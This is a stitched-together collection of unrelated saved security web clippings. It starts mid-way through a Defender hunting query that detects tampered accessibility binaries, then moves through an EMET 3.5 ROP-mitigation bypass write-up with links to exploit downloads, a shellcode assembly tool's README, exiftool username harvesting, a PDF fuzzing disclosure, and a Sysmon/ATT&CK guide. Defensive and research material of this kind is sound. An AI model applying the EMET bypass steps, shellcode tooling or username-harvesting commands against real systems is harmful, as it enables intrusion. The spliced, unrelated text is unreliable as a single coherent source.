| summarize count\(ComputerName\) by SHA1

| where count\_ComputerName > 1000;

PrevalentCmdExeHash

| join kind=inner

\(

ProcessCreationEvents

| project EventTime, ComputerName, ProcessCommandLine, FileName, SHA1

| where EventTime > ago\(7d\)

| where FileName in~
\("utilman.exe","osk.exe","magnify.exe","narrator.exe","displayswitch.exe","atbroker.exe","sethc.exe"\)

\)

on SHA1

If you enjoyed using these examples, check out the default saved queries
available on the Advanced Hunting page. Let us know what you think through the
feedback system on the menu \(click the smiley icon\) or join the community in
building powerful queries using the Advanced Hunting GitHub repository.

Thank you\!

Windows Defender ATP Team

  

# Welcome to the CodeDesigner RAD

**Created:**| _9/8/2011 11:35:19 AM_  
---|---  
**Updated:**| _9/8/2011 11:35:19 AM_  
**Author:**| __  
**Tags:**| _uml_  
  

## CodeDesigner 1.4.2 released

Wednesday, 13 April 2011 08:15  administrator

<img src='img/Temp2_9423.png' alt='E-mail' /> <img src='img/Temp2_9422.png'
alt='Print' /> <img src='img/Temp2_9421.png' alt='PDF' />

CodeDesigner 1.4.2 was released today. It contains two bug fixes and one minor
improvement. For more details see the change log or listing in News section.

# Bypassing EMET 3.5′s ROP Mitigations « REP RET

**Created:**| _8/9/2012 2:09:39 PM_  
---|---  
**Updated:**| _8/9/2012 2:09:39 PM_  
**Author:**| __  
**Tags:**| _rop mitigations_  
  

# Bypassing EMET 3.5′s ROP Mitigations

August 8, 2012

UPDATE : **_It seems MS was aware of this kind of bypasses, so I bypassed EMET
ROP mitigations using another EMET’s implementation mistake. EMET team forget
about the KernelBase.dll and left all its functions unprotected. so I
used@antic0de‘s method for finding base address of kernelbase.dll at run-time,
then I used VirtualProtect inside the kernelbase.dll, not ntdll.dll or
krenel32.dll. you can get new exploit at the end of this post._**

I have managed to bypass EMET 3.5, which is recently released after Microsoft
BlueHat Prize, and wrote full-functioning exploit for CVE-2011-1260 \(I
choosed this CVE randomly\!\) with all EMET’s ROP mitigation enabled.

http://support.microsoft.com/kb/2458544

Demo:  
  

EMET’s ROP mitigation works around hooking certain APIs \(Like
VirtualProtect\) with Shim Engine and monitors their initialization.I have
used SHARED\_USER\_DATA which mapped at fixed address “0x7FFE0000″ to find
KiFastSystemCall address \(SystemCallStub at “0x7FFE0300″\), So I could call
any syscall by now\!By calling ZwProtectVirtualMemory’s SYSCALL “0x0D7″, I
made shellcode’s memory address RWX. After this step I could execute any
instruction I wanted. But to execute actual shellcode \(with hooked APIs like
“WinExec”\) I did patched EMET to be deactivated completely. BOOM\! ** _you
can use both this methods for generally bypassing EMET ROP mitigations in
other exploits, all you need is to bypass ASLR._**

Here is the asm code which makes EMET 3.5 deactivated And actual exploit I
wrote:

http://upit.ir/do.php?filename=c70b3a6db91.zip

Kernelbase method :

http://upit.ir/do.php?filename=13240d8aff1.zip

<img src='img/1694_ms-emet1.png' />

# John Graham-Cumming: Babbage's Debugger

**Created:**| _9/16/2010 9:46:35 AM_  
---|---  
**Updated:**| _9/16/2010 9:46:51 AM_  
**Author:**| __  
**Tags:**| _Debugging awesome History_  
  

## Wednesday, September 15, 2010

### Babbage's Debugger

In 1826 Charles Babbage realized that understanding the internal state of his
engines was an arduous task and in an extensive paper on the subject \(On a
method of expressing by signs the action of machinery\) he writes:  

>  
>  In the construction of an engine, \[...\], I experienced great delay and
> inconvenience from the difficulty of ascertaining from the drawings the
> state of motion or rest of any individual part at any given instant in time:
> and if it became necessary to enquire into the state of several parts at the
> same moment the labour was much encreased.  
>  \[...\]  
>  The difficulty of retaining in mind all the cotemporaneous and successive
> movements of a complicated machine, and the still greater difficulty of
> properly timing movements which had already been provided for, induced me to
> seek for some method by which I might at the glance of the eye select any
> particular part, and find at any given time its state of motion or rest, its
> relation to the motions of any other part of the machine, and if necessary
> trace back the sources of its movement through all its successive stages to
> the original moving power.  
>
  
In the paper he goes on to develop a notation that allows him to draw
something similar to a sequence diagram for a machine. But his diagram is at a
very low level: it describes the motion of individual parts of a machine.  
  
<img src='img/Temp2_4709.png' />  
And he uses the notation to analyze the operation of a clock, drawing a large
picture of the motion of each part of the clock and how motion of one piece
influences another. From the diagram he is able to trace back the movement of
the clock's minute hand to its original source of power.  
  
<img src='img/Temp2_4710.png' />  
He concluded by saying:  

>  
>  The signs \[...\] will form as it were an universal language; and to those
> who become skilful in their use, they will supply the means of writing down
> at sight even the most complicated machine, and of understanding the order
> and succession of the movements of any engine of which they possess the
> drawings and the mechanical notation. In contriving machinery, in which it
> is necessary that numerous wheels and levers, deriving their motion from
> distant part of the engine, should concur at some instant of time, or in
> some precise order, for the proper performance of a particular operation, it
> furnishes important assistance; and I have myself experienced the advantages
> of its application to my own calculating engine, when all other methods
> appeared nearly hopeless.  
>
  
Since, at that time, Babbage was concerned with creating non-programmable
machines such as the Difference Engine, his notation is the closest thing
possible to a debugger. It allowed him to understand the state of the machine
at any moment in time and trace back how that state was reached.  
  
Clearly, that's not quite the same thing as the way debuggers are used today,
but for Babbage he needed to debug prior to making the machine. He was using a
form of static analysis to ensure that a machine would work.

Labels: pseudo-randomness

_If you enjoyed this blog post, you might enjoy my travel book for people
interested in science and technology:The Geek Atlas_

# PDF - 2015.zeronights.org

**Created:**| _12/8/2015 10:48:27 AM_  
---|---  
**Updated:**| _12/8/2015 10:48:27 AM_  
**Author:**| __  
**Tags:**| __  
  
  
<img src='img/05-Nosenko.pdf' />  

# merrychap/shellen

**Created:**| _3/7/2018 8:24:43 AM_  
---|---  
**Updated:**| _3/7/2018 8:24:43 AM_  
**Author:**| _wishi_  
**Tags:**| _shellcode_  
  

  

# Shellen

## General

Shellen is an interactive shellcoding environment. If you want a handy tool to
write shellcodes, then shellen may be your friend. Shellen can also be used as
an assembly or disassembly tool.

keystone and capstone engines are used for all of shellen's operations.

Shellen **only works on python3**. python2 support may appear in the future.

## Installing

First, you should install shellen's dependencies:

[code]

    $ sudo apt-get install cmake python3-dev python3-setuptools
[/code]

You can install the stable version of shellen using `pip3`:

[code]

    $ sudo pip3 install shellen
[/code]

Or if you already have all required packages \(see Requirements\):

[code]

    $ python3 setup.py install
[/code]

If you have any problems with installing keystone-engine, then you should
compile keystone-engine \(see the COMPILE.md file in the keystone repository\)

## How to Run Shellen

After installing shellen and its required packages, you can run shellen by
typing the following in your terminal:

[code]

    $ shellen
[/code]

You can run shellen's `help` command to get information about shellen's usage.

## Shellen's Features

Shellen assembles and disassembles instructions, so there are two usage modes:
**asm** and **dsm** respectively. There are other features which include
searching syscall tables and searching for common shellcodes.

### Prompt

Shellen has a useful prompt that displays the current mode, OS \(operating
system for syscalls\), and the current mode's chosen architecture. Shellen's
prompt looks like this:

[code]

    L:asm:x86_32 >
[/code]

You can edit your input like you're typing in a terminal. Also, shellen
records your command history \(just type your up arrow to see your previous
commands\).

`L` is the shortened name of `Linux` in the prompt. Below listed all other OS
names:

  * `L` is Linux
  * `W` is Windows
  * `M` is MacOS

If you want to change OS, then type `setos [linux/windows/macos]` as follows:

[code]

    L:asm:x86_32 > setos windows
    
    [+] OS changed to windows.
[/code]

To change current mode, enter `asm` or `dsm` in the prompt.

[code]

    L:dsm:arm32 > asm
    
    [+] Changed to asm (assembly) mode
    
    L:asm:x86_32 > dsm
    
    [+] Changed to dsm (disassembly) mode
    
    L:dsm:arm32 > 
[/code]

### Base Commands

Command | Description  
---|---  
`clear` | Clear the terminal screen. As usual `cls` on Windows or `clear` on \*nix systems.  
`help` | Show the help message.  
`quit,q,exit` | Finish the current session and quit  
### Assembling

To assemble instuctions, type them and separate them with semicolons as shown
here:

[code]

    L:asm:x86_32 > mov edx, eax; xor eax, eax; inc edx; int 80;
       [+] Bytes count: 7
           Raw bytes:  "\x89\xc2\x31\xc0\x42\xcd\x50"
           Hex string: "89c231c042cd50"
[/code]

If your assembled bytes contain a null byte, then shellen will tell you about
this.

### Disassembling

Disassembling is similar to assembling. Instead, type your bytes in the prompt
and see the result\!

[code]

    L:dsm:x86_32 > 89c231c042cd50
            0x00080000:     mov     edx, eax
            0x00080002:     xor     eax, eax
            0x00080004:     inc     edx
            0x00080005:     int     0x50
[/code]

### Run shellcode

Also, you can run your shellcode in a subprocess. **Be aware that this can
harm your system\!**. Jump to the last shellcode in a subprocess. What could
go wrong?' Note that you don't get to control the base address your code gets
loaded at, and this assumes that the instructions will make sense to your CPU.
See `help`inside `shellen` to see how to use it.

I'm planning to execute subprocess in a some virtual environment in order to
make it safer to run potentially dangerous shellcode.

### Architectures

`asm` and `dsm` modes work for different architectures. To see a list of
available architectures for shellen's current mode, type this:

[code]

    L:dsm:x86_32 > archs
    ┌────────┬────────┬─────────┬─────────┬────────┐
    │        │        │         │         │        │
    │ arm32  │ mips32 │ sparc32 │ systemz │ x86_16 │
    │ arm64  │ mips64 │ sparc64 │         │ x86_32 │
    │ arm_tb │        │         │         │ x86_64 │
    └────────┴────────┴─────────┴─────────┴────────┘
[/code]

If you want to change the current architecture, enter the following:

[code]

    L:dsm:x86_32 > setarch arm32
    
    [+] Architecture of dsm changed to arm32
[/code]

### Syscalls

When you create a shellcode, you will need syscalls. To lookup syscalls with
shellen, type `sys` and the name of your desired syscall. Shellen will produce
a list of syscalls which may contain the syscall you were looking for.

[code]

    L:asm:x86_32 > sys open
    
    ┌────────┬───────┬──────────────────────┬──────────────────────┬──────────────┬──────────────┐
    │ name   │ eax   │ ebx                  │ ecx                  │ edx          │ esi          │
    ├────────┼───────┼──────────────────────┼──────────────────────┼──────────────┼──────────────┤
    │ open   │ 0x05  │ const char *filename │ int flags            │ umode_t mode │ -            │
    │ openat │ 0x127 │ int dfd              │ const char *filename │ int flags    │ umode_t mode │
    └────────┴───────┴──────────────────────┴──────────────────────┴──────────────┴──────────────┘
[/code]

`sys` prints a list of possible variants for the provided syscall. The syscall
table that shellen searches depends on the chosen architecture and operating
system \(OS\). In this case, the architecture is `x86_32` and the OS is
`Linux`.

### Common Shellcodes

Shellen can show you a list of common shellcodes depending on your keyword.
Shellen's keyword lookup uses shell-storm.org's API \(thanks to the author\!\)
and can be used like this:

[code]

    L:asm:x86_32 > shell <keyword> <count>
[/code]

Note, the `count` parameter isn't required. There is an image of `shell
<keyword> <count>`'s output in the Pictures section.

### Supported Operating Systems

Currently, shellen is only supported on Linux. If you want to add
functionality for Windows or MacOS, then write an issue and I will add
support.

## How to Report Problems or Request for New Features

If you find a problem/bug or something, write an issue about this problem.
Also, if you think that a feature will be a nice addition to shellen, do the
same -- write an issue and I will try to add your requested feature.

## Requirements

  * keystone
  * capstone
  * colorama
  * termcolor
  * terminaltables

## TODO

  * Assembling
  * Disassembling
  * Syscalls lists
  * Database of common shellcodes
  * Add ROP builder
  * Add editing an assembly code in multiple lines
  * Different histories for `asm` and `dsm` modes
  * Virtual environment to run shellcodes

## Pictures

Just a little bunch of pictures. \(They are outdated because of adding
different features\)

<img src='img/Temp2_10448.png' width='771' height='713' />

* * *
<img src='img/Temp2_10451.png' width='888' height='602' />

* * *
<img src='img/Temp2_10452.png' width='888' height='280' />

* * *
<img src='img/Temp2_10449.png' width='888' height='376' />

* * *
<img src='img/Temp2_10450.png' width='564' height='330' />

  

# Episode131 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:53:22 PM_  
---|---  
**Updated:**| _8/5/2009 12:53:32 PM_  
**Author:**| __  
**Tags:**| _Metadata pauldotcom Tutorials_  
  

# Tech Segment: EXIFtool, It's not just for JPEGs any more\!

In the past we've talked about a number of tools for document metadata
gathering and how we can use them for gathering good information.

I've talked about EXIFtool for examining and deleting metadata from JPEGs.
This was helpful for some info, but only on images.

I've covered Metagoofil, where we use it to download all sorts of common data
and word processing type documents and analyze them for interesting
information. Unfortunatley, Metagoofil only will produce download from the web
and process. we have no ability to process from our store on disk.

By accident I discovered that we can get much of the same information by using
EXIFtool not on JPEGs, but on Word, Excel and PowerPoint documents\! EXIFtool
has the ability to parse metadata as defined by the FlashPix standard,
introduced in 1996 developed by Kodak, Hewlett-Packard and Microsoft.
Microsoft still uses the format for documents and storing data. We can use
EXIFtool to gather usernames from the documents.

We can start down and dirty with getting the information on Office documents.
In the directory that contains our supported office documents, we can execute
the following commmand:

[code]

    $ exiftool -r -h -a -u -g1 * >output.html
    
    
[/code]

This will execute EXIFtool to extract all EXIF metadata recursively in the
current directory \(-r\), with all output including duplicates \(-a\),
organizing by EXIF tag category \(–g1\), for all files, with HTML friendly
formatting \(-h\), into a file named output.html in the current directory
\(>output.html\). With this we get a handy little report HTML report\!

But, we may only want just the info on usernames/authors. We can trim the
output information down to jsut the appropriate data elements:

[code]

    exiftool -r -a -u -Author -LastSavedBy * >users.txt
    
    
[/code]

We've removed the HTML and sorting options, as they will only serve to make
any additional processing difficult. I've also only grabbed the Author and
LastSavedBy tags, as these are the most common places for usernames. Now we
can take our users.txt, and remove all of the extra information with some unix
text processing:

[code]

    strings users.txt | cut -d":" -f2 | grep -v "\=" | grep -v "\image files read" | tr '[:space:]' '\n' | sort | uniq  >cleanusers.txt
    
    
[/code]

Now All we are left with is a list of potential user names one per line. This
will introduce some need for a manual culling, as sometimes the author is
listed as "Firstname Lastname", and they get kept as each name individually.

# PDF Fuzzing Fun Continued: Status Update | j00ru//vx tech blog
**Created:**| _1/10/2013 8:23:09 AM_  
---|---  
**Updated:**| _1/10/2013 8:23:09 AM_  
**Author:**| __  
**Tags:**| _Fuzzer pdf_  
  

# PDF Fuzzing Fun Continued: Status Update

**\(Collaborative post by Mateusz “j00ru” Jurczyk andGynvael Coldwind \)**

Almost five months ago, Gynvael Coldwind  and I wrote  about an effort to
improve the security of popular PDF parsing and rendering software; back then,
we were primarily focused on the Chrome PDF Renderer  and latest Adobe Reader
applications. In order to achieve our results, we used several hundred CPU
cores to create a unique, minimal set of PDF documents aimed at optimal code
coverage. That corpus, which we now consider a fundamental part of our bug
hunting success, was used as fuzzing input to numerous mutation algorithms
\(basic bitflipping, undisclosed PDF-specific algorithms that respect the
primary rules of a document’s structure, and things in between\).

As a quick recap, we found more than 50 vulnerabilities ranging from low
\(unlikely exploitable\) to high \(serious memory errors\) severity in the
PDF-parsing component of Google Chrome with the help of AddressSanitizer . All
of these were fixed by the Chrome Security Team by August 2012, mostly by
Chris Evans – kudos\! In addition to that, we also reported around 60 Adobe
Reader crashes appearing to be unique in June last year. This consequently
resulted in a total of 25 separate fixes addressed by 12 CVEs, as described by
the Adobe in their APSB12-16  security bulletin and implemented in the new
9.5.2 and 10.1.4 versions of the software for Windows and Mac OS X platforms.
Unfortunately, a few very important questions remained unanswered, such as
“what about the remainder of the reported bugs?” and “what about the security
of Reader for Linux users?”. With Adobe releasing new versions for all
supported Reader branches and platforms today \(9, X, XI for Windows, Mac OS X
and Linux\), we would like to take the chance to give you an update on where
we stand with PDF fuzzing, and what thoughts we have around Reader and the
many other pieces of software people use in their daily work with documents.

<img src='img/Temp2_5988.png' width='128' height='128' alt='Google Chrome'
/>Let’s start with Google Chrome – has anything changed since our last
posting? Well, we’ve kept playing with different fuzzing configurations and
algorithmic approaches, and discovered 20 new security issues over the last
six months, summing up to a total of 78 unique bugs found and fixed in the
renderer in 2012. As of now, we are not aware of any unfixed non-DoS issues in
the PDF Chrome component.

\[134955 \] \[135488 \] \[137106 \] \[137288 \] \[137302 \] \[137547 \]
\[137556 \] \[137606 \] \[137635 \] \[137880 \] \[137928 \] \[144579 \]
\[145079 \] \[145121 \] \[145163 \] \[146462 \] **Medium** CVE-2012-2875:
Various lower severity issues in the PDF viewer. Credit to Mateusz Jurczyk of
Google Security Team, with contributions by Gynvael Coldwind of Google
Security Team.

\[143798 \] \[144072 \] \[147402 \] **High** CVE-2012-2890: Use-after-free in
PDF viewer. Credit to Mateusz Jurczyk of Google Security Team, with
contributions by Gynvael Coldwind of Google Security Team.

\[145029 \] \[145157 \] \[146460 \] **High** CVE-2012-2895: Out-of-bounds
writes in PDF viewer. Credit to Mateusz Jurczyk of Google Security Team, with
contributions by Gynvael Coldwind of Google Security Team.

Coincidentally, the Chrome Security Team just doubled the rewards for all
significant vulnerabilities found in the PDF renderer, see a complete list of
changes to the VRP rules at http://blog.chromium.org/2012/08/chromium-
vulnerability-rewards-program.html . For anyone interested, Chrome Security
issues eligible for a reward \(all other, too\) can be filed under
http://crbug.com/ . Good luck\!

<img src='img/Temp2_5989.png' width='128' height='128' alt='Ghostscript (src:
wikipedia)' /><img src='img/Temp2_5990.png' width='128' height='128'
alt='Okular (src: wikipedia)' />We used our corpus to fuzz two other PDF
projects: poppler , an actively-maintained open-source library having its
roots in xpdf  \(which it was originally a fork of\) and ghostscript , which
includes its own lightweight PDF parsing library called MuPDF . Both libraries
can be downloaded and built manually, enabling the usage of AddressSanitizer,
and thus, improving the memory error detection ratio. As you might expect, a
number of serious problems have been localized in these projects, and they are
currently being worked on by their respective development teams, together with
some security teams associated with Linux distributions. We would especially
like to thank Huzaifa Sidhpurwala from RedHat Security here for his continued
interactions with project maintainers on our behalf, passing along reports and
being an all-around helpful guy. The general progress in fixing bugs in both
projects can be observed in respective upstream git browers:
http://cgit.freedesktop.org/poppler/poppler  and
http://git.ghostscript.com/?p=mupdf.git;a=summary . We estimate that it might
take another few weeks or months until the libraries reach a state where no
low-hanging fruit vulnerabilities can be easily fuzzed out. Until then, we
recommend any potential direct or software wrapped use of the software \(such
as Okular \) be done with extreme care where sensitive data is at risk, either
by running them in a properly sandboxed environment, or only against fully
trusted input data.

<img src='img/Temp2_5991.png' width='128' height='128' alt='Adobe Reader XI
(src: wikipedia)' />Following the release of Adobe Reader 9.5.2 and 10.1.4 and
publication of our previous post, we have continued working closely with Adobe
and specifically their Product Security Incident Response Team \(PSIRT\) to
ensure 16 pending crashes from previous iteration and new crashes from further
iterations can be resolved as soon as possible. In late August, we created a
new set of PDF files in the hopes of getting better coverage. There are many
features in the standard that are only fully functional in Reader, such as 3D
models or certain Javascript features amongst many others, and we wanted to
fuzz test these. Generating the corpus took enormous amounts of resources and
time; terabytes of public documents has to be run through extremely slow
dynamic binary instrumentation-driven parsing. Having a new, greatly improved,
and several times larger set of input files at our disposal, we tested its
capabilities by running it through the very same algorithms that we used with
the previous files, and the results exceeded our wildest expectations: we
managed to trigger exactly 568 crashes with unique stack traces during less
than a week of running the fuzzing engines \(Note: the number of unique stack
traces is usually much higher than the number of actual bugs\).

All reproducing PDF files were provided to Adobe in a single report on August
27, 2012. The vendor immediately acknowledged reception of the files and
sorted through them as soon as possible. Adobe’s PSIRT sent us regular updates
regarding their progress on resolving the reported issues, but said that
updates for Windows / Mac OS X platforms would not occur until January 2013.
Although we suspected that many of the reported issues could represent
critical vulnerabilities in the software and the proposed timeline was far
beyond our regular 60-day policy , we refrained from making public
announcements until today.

In the meanwhile, on October 15, Adobe released a completely new version of
Reader marked as “XI”. Although no public security bulletin coincided with
this new version’s release, the company incorporated ~50 new security fixes
derived from our previous reports – fixes that would only be included in the
latest application branch and not found in either the currently supported
branches 9 or X. If we look back at the situation at the time, it could be
summarized in the following three points:

  * Adobe Reader 9 and X for Windows and Mac OS X were subject to ~16 old vulnerabilities from June 2012 which were missed in the August 2012 update.
  * Adobe Reader 9 for Linux was vulnerable to all ~50 security bugs from the first iteration of testing.
  * Releasing Adobe Reader XI with new patches resulted in the potential disclosure of ~50 new vulnerabilities from the second iteration of testing in both Adobe Reader 9 and X for all platforms.

The above scenario is a good illustration of what happens if certain supported
versions of software are provided with security patches, while others are not.
In the era of wide availability of professional binary diffing tools, we find
it very possible that many of the bugs fixed on the Windows / Mac OS X
platforms but not on Linux and/or in version XI but not 9/X could have been
successfully found by third-parties by performing comparison between the
patched and unpatched versions of software. In fact, this practise was the
sole subject of Nikita Tarakanov’s ZeroNights 2012 presentation called “The
Art of Binary Diffing or how to find 0-dayz for free ”, which only shows that
provoking such situations of security inconsistency between equally-supported
versions of software can pose a real threat these days.

As of now, the overall security of the Adobe Reader software family has
greatly improved compared to 2012. Today’s security bulletin addresses around
80 bugs in Adobe Reader 9 and X, and up to 19 unique bugs in Adobe Reader XI.
According to Adobe, only 19 of these were of critical severity and thus the
bulletin contains that many CVE identifiers for the most severe problems.
Unfortunately, resolving some of the problems have still been deferred to next
versions: 20 bugs are still pending in Reader 9, 14 in Reader X and 9 in
Reader XI. It should be noted that these deferred bugs have all been
investigated by Adobe and either partially fixed \(up to a point where they
are no longer exploitable\) or considered non-exploitable \(e.g. infinite
recursions\).

All in all, we think that Adobe did a lot of solid work in terms of dealing
with our reports, fixing the bugs, and providing timely updates. On the other
hand, we believe that they could still do better in how security updates are
released for the various versions of their products. We are hoping that
releasing a collective update for all Reader products today will become a
standard followed by the vendor in the future.

Of course, we are planning to run more fuzz testing against the latest Reader
\(and other software\) within the next few days, so you can probably expect
more news on the PDF security front to appear on our blogs this quarter :-\)

### Timeline

  * **14th of August 2012:** new version for Windows and OS X released, old post  is published.
  * **15-26th of August 2012:** Adobe Reader PDF corpus is created and used in fuzzing.
  * **27th of August 2012:** a total of 568 crashes are reported to Adobe.
  * **27th of August 2012:** vendor confirms reception.
  * **7th of September 2012:** vendor informs about 50 unfixed unique bugs known so far, pushes Reader for Linux release until January.
  * **12nd of October 2012:** vendor informs about 61 unfixed unique bugs known so far and Reader XI release in mid-November.
  * **21st of December 2012:** vendor gets back to us with a complete summary of fixes released in January.
  * **8th of January 2013:** new Adobe Reader versions for all platforms are released, this post is published.

Posted by j00ru on Tuesday, January 8, 2013, at 17:54:18. Filed under
Exploitation , hacking . Follow any responses to this post with its comments
RSS  feed. You can post a comment or trackback  from your blog.

# Peter Van Eeckhoutte´s Blog :: \[Knowledge is not an object, it´s a flow\]
:: Exploit writing tutorial part 3b : SEH Based Exploits – just another
example

**Created:**| _12/28/2009 10:06:36 PM_  
---|---  
**Updated:**| _12/28/2009 10:06:53 PM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials_  
  
<img src='img/Temp2_6217' />

# Categorizing and Enriching Security Events in an ELK with the Help of Sysmon
and ATT&CK

**Created:**| _3/2/2019 6:17:05 PM_  
---|---  
**Updated:**| _3/2/2019 6:17:05 PM_  
**Author:**| _wishi_  
**Tags:**| _siem elasticsearch elk_  
  

  

###  Categorizing and Enriching Security Events in an ELK with the Help of
Sysmon and ATT&CK

<img src='img/helk_net_command_detailed.png' width='640' height='288' />

  
Lately, I have been working on a few projects such as OSSEM, HELK and
ThreatHunter-Playbook with a main goal of integrating all of them and starting
to document and define how data can drive categorization and prioritization of
detection analytics.  
  
I also had the opportunity to present with @\_devonkerr\_ from Endgame at
BSidesCharm at the beginning of the year about "Quantifying Your Hunt". We
talked about how we could start measuring detection capabilities by mapping
available data sources to MITRE ATT&CK Techniques. I enjoyed our conversation
because we were able to prioritize specific data sources we could use to
increase visibility across several ATT&CK techniques. One particular free tool
that provided a lot of context across several techniques was Sysmon. I loved
the fact that by linking security events to techniques, we could also start
prioritizing the development of ATT&CK-based analytics.  
  
One of the challenges that I faced with Sysmon was the fact that even though I
was able to collect data and categorize events by the specific Sysmon Event
IDs, it was hard to know what specific Sysmon rules were triggering every time
an event was created. This was necessary to automatically map security events
and potential incidents to ATT&CK techniques information. It could also help
to understand the volume of specific data being collected per technique.  
  
Thanks to the recent update to Sysmon \(Version 8.0\), tagging Sysmon rules is
now possible, and makes things much easier to add extra metadata to Sysmon
events.  
  
In this post, I will show you a basic example of Sysmon rule tagging and how
you can scale it with the right parser in solutions like HELK. I will share a
few initial thoughts on how to utilize these new capabilities. **NOTE:** While
I was testing a few things to write this blog post, @olafhartong published
also his first attempt with the new version of Sysmon. I highly recommend
checking out his post "Sysmon 8.0, a leap forward in event annotation". It has
a similar basic example to start. Great work Olaf\!\!  
  
  
  

##  Install Sysmon v8.0

  
The download and install process is very straight forward. One thing to
remember is that with Sysmon version 8.0 the configuration schema version is
now **4.1**. I updated my basic Sysmon Config that I usually use to start
logging events and creating a baseline of my lab environment. Feel free to
download it and use it to start.  
  
  
  
<img src='img/sysmon_initial_config.png' width='640' height='296' />  
---  
**Figure 1:** Part of initial Sysmon Configuration  
  
  
<img src='img/sysmon_install.png' width='640' height='401' />  
---  
**Figure 2.** Install Sysmon with specific configuration  
  
  
  

##  
So, What Is New?

  
In order to know right away about the new metadata added to the events, I
decided to start a process and check the event schema. I launched
**Calculator.exe** as shown in the image below. As you can see, there is a new
data field named **"RuleName".** It is blank because I did not tag a Sysmon
rule to include events generated or related to **Calculator.exe**.  
  
  
<img src='img/sysmon_norule_calculator.png' width='640' height='512' />  
---  
**Figure 3.** Open Calculator and check the event log  
  
  
  
Another great way to gather information about the Sysmon schema was posted by
@olafhartong and can be found here. I like that approach because it will help
me a lot to update all the Sysmon dictionaries I put together for Sysmon data
in OSSEM right away. However, there is always extra metadata generated by the
system that still needs to be parsed and is not in the Sysmon Schema. I copied
the XML details of the event log generated for **Calculator.exe** so that you
can see what to expect. I have already taken care of that for you with HELK.  
  
  

1 | \- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">  
---|---  
2 |  \- <System>  
3 |  <Provider Name="Microsoft-Windows-Sysmon" Guid="\{5770385F-C22A-43E0-BF4C-06F5698FFBD9\}" />  
4 |  <EventID>1</EventID>  
5 |  <Version>5</Version>  
6 |  <Level>4</Level>  
7 |  <Task>1</Task>  
8 |  <Opcode>0</Opcode>  
9 |  <Keywords>0x8000000000000000</Keywords>  
10 |  <TimeCreated SystemTime="2018-07-06T12:55:22.864710300Z" />  
11 |  <EventRecordID>1786</EventRecordID>  
12 |  <Correlation />  
13 |  <Execution ProcessID="5940" ThreadID="3192" />  
14 |  <Channel>Microsoft-Windows-Sysmon/Operational</Channel>  
15 |  <Computer>DESKTOP-LFD11QP</Computer>  
16 |  <Security UserID="S-1-5-18" />  
17 |  </System>  
18 |  \- <EventData>  
19 |  <Data Name="RuleName" />  
20 |  <Data Name="UtcTime">2018-07-06 12:55:22.803</Data>  
21 |  <Data Name="ProcessGuid">\{1C9FDC81-66BA-5B3F-0000-0010689B8B01\}</Data>  
22 |  <Data Name="ProcessId">5608</Data>  
23 |  <Data Name="Image">C:\Program Files\WindowsApps\Microsoft.WindowsCalculator\_10.1705.1301.1000\_x64\_\_8wekyb3d8bbwe\Calculator.exe</Data>  
24 |  <Data Name="FileVersion">?</Data>  
25 |  <Data Name="Description">?</Data>  
26 |  <Data Name="Product">?</Data>  
27 |  <Data Name="Company">?</Data>  
28 |  <Data Name="CommandLine">"C:\Program Files\WindowsApps\Microsoft.WindowsCalculator\_10.1705.1301.1000\_x64\_\_8wekyb3d8bbwe\Calculator.exe" -ServerName:App.AppXsm3pg4n7er43kdh1qp4e79f1j7am68r8.mca</Data>  
29 |  <Data Name="CurrentDirectory">C:\Program Files\WindowsApps\Microsoft.WindowsCalculator\_10.1705.1301.1000\_x64\_\_8wekyb3d8bbwe\</Data>  
30 |  <Data Name="User">DESKTOP-LFD11QP\pedro</Data>  
31 |  <Data Name="LogonGuid">\{1C9FDC81-5182-5B3F-0000-002002EE5100\}</Data>  
32 |  <Data Name="LogonId">0x51ee02</Data>  
33 |  <Data Name="TerminalSessionId">1</Data>  
34 |  <Data Name="IntegrityLevel">AppContainer</Data>  
35 |  <Data Name="Hashes">SHA1=F432224D1DC3DDD18A1B04902222C615194CC50F,MD5=49F97C7F1ED82E73909A269619A98CD8,SHA256=4A462353619BBD8CCD122DF18BB3DE1E22B91706E9B66815E3E108C85720EFE9,IMPHASH=259CFA5B7EA4A9E7F1C813131A278C87</Data>  
36 |  <Data Name="ParentProcessGuid">\{1C9FDC81-50C5-5B3F-0000-0010DCA20000\}</Data>  
37 |  <Data Name="ParentProcessId">868</Data>  
38 |  <Data Name="ParentImage">C:\Windows\System32\svchost.exe</Data>  
39 |  <Data Name="ParentCommandLine">C:\Windows\system32\svchost.exe -k DcomLaunch</Data>  
40 |  </EventData>  
41 |  </Event>  
view raw calculator.xml hosted with ❤ by GitHub

  
  
  
  
  

##  Ok, How Do I Tag Sysmon Rules?

  
If you go to the Sysmon site and go to the **"Event Filtering Entries"** part,
you will find the following details:  
  
"_To have Sysmon report which rule match resulted in an event being logged,
add names to rules:__< NetworkConnect onmatch="exclude"> <Image name="network
iexplore" condition="contains">iexplore.exe</Image> </NetworkConnect>_"  
  
So if I want to add a name to a rule that collects/include events generated by
a process that ends with **Calculator.exe** , I can update my Sysmon config to
the following:  
  
  

1 | <Sysmon schemaversion="4.1">  
---|---  
2 |  <\!-- Capture all hashes \-->  
3 |  <HashAlgorithms>\*</HashAlgorithms>  
4 |  <EventFiltering>  
5 |  <\!-- Event ID 1 == Process Creation. \-->  
6 |  <ProcessCreate onmatch="include">  
7 |  <Image name="Calculator Rule" condition="end with">Calculator.exe</Image>  
8 |  </ProcessCreate>  
9 |  </EventFiltering>  
10 | </Sysmon>  
view raw StartLogging.xml hosted with ❤ by GitHub

  
  

Once I update the config, I have to also push an update to my Sysmon service

  

  

<img src='img/sysmon_updated_config.png' width='640' height='345' />  
---  
**Figure 4.** Update Sysmon Config with new rule name.  
  

  

  

If I open the calculator app again, I should be able to see the **RuleName**
field populated with the **Calculator Rule** tag in it:

  

  

<img src='img/sysmon_rule_calculator.png' width='640' height='528' />  
---  
**Figure 5.** Sysmon Calculator rule name.  
  
  
  
  

##  MITRE ATT&CK Integration

  
One very good initial use case that I explained at the beginning of this post
was  the automation of mapping security events and potential incidents from a
Sysmon rule perspective to ATT&CK techniques information such as **Tactic,
Technique Name, Technique ID, Platform, etc.** Following our initial basic
calculator example, we can start tagging Sysmon rules that could relate to
specific procedures defined in techniques used by adversaries.  
  
  

###  Do I Just Pick Any Technique?

  
I usually recommend prioritizing what you can potentially see currently in
your environment over just picking any technique in the matrix. For example,
if you have Sysmon running in your environment and you are collecting
"ProcessCreate" events, then you can prioritize techniques that require to
have "Process Monitoring" or "Process command-line parameters" as data
